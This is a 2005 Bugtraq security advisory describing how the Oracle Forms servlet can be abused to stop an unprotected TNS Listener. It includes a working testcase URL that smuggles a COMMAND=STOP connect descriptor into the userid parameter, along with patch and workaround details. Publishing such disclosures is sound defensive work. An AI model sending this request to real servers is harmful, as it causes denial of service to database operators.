bugtraq - Shutdown TNS Listener via Oracle Forms Servlet

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Message-ID: <20051007094019.24352.qmail@securityfocus.com>
Date: 7 Oct 2005 09:40:19 -0000
From: ak@...-database-security.com
To: bugtraq@...urityfocus.com
Subject: Shutdown TNS Listener via Oracle Forms Servlet


Shutdown TNS Listener via Oracle Forms Servlet 
##############################################


 Name                Shutdown TNS Listener via  Oracle Forms Servlet
 Systems Affected    Oracle Forms
 Severity            Medium Risk 
 Category            Denial of Service
 Vendor URL          http://www.oracle.com 
 This advisory       http://www.red-database-security.com/advisory/oracle_forms_shutdown.html
 Author              Alexander Kornbrust (ak at red-database-security.com) 
 Date                7 October 2005 (V 1.00)

      

Details
#######
The forms servlet can be used to stop the (unprotected) TNS Listener. 


Affected Products
#################
Oracle Forms 


Testcase 
#########
http://server:8888/forms90/f90servlet?form=test.fmx&userid=SCOTT/TIGER@(DESCRIPTION=(ADDRESS_LIST=(ADDRESS=(PROTOCOL=TCP)(HOST=server)(PORT=1521)))(CONNECT_DATA=(COMMAND=STOP)(SERVICE=LISTENER)))&buffer_records=NO&debug_messages=NO&array=YES&query_only=NO&quiet=NO&RENDER=YES


Excerpt from the listener.log:

28-OCT-2003 14:44:46 * (CONNECT_DATA=(COMMAND=STOP)(SERVICE=LISTENER)(CID=(PROGRAM=C:\oracle\oradev9i\bin\ifweb90.exe)(HOST=SERVER)(USER=Administrator))) * stop * 0




Affected systems 
#################
All versions of Oracle Forms until CPU July 2005. 


Patch Information
#################
This bug is fixed with Critical Patch Update July 2005 (CPU July 2005). Oracle forgot to inform Red-Database-Security that this bug is fixed with CPU July 2005.


Workaround
##########
Protect the TNS Listener with a password.


History
#######
28-oct-2003 Oracle secalert was informed

29-oct-2003 Bug confirmed

12-jul-2005 Oracle published CPU July 2005 without informing Red-Database-Security that this bug is already fixed. 

07-oct-2005 Red-Database-Security published this advisory


© 2005 by Red-Database-Security GmbH - last update 7-october-2005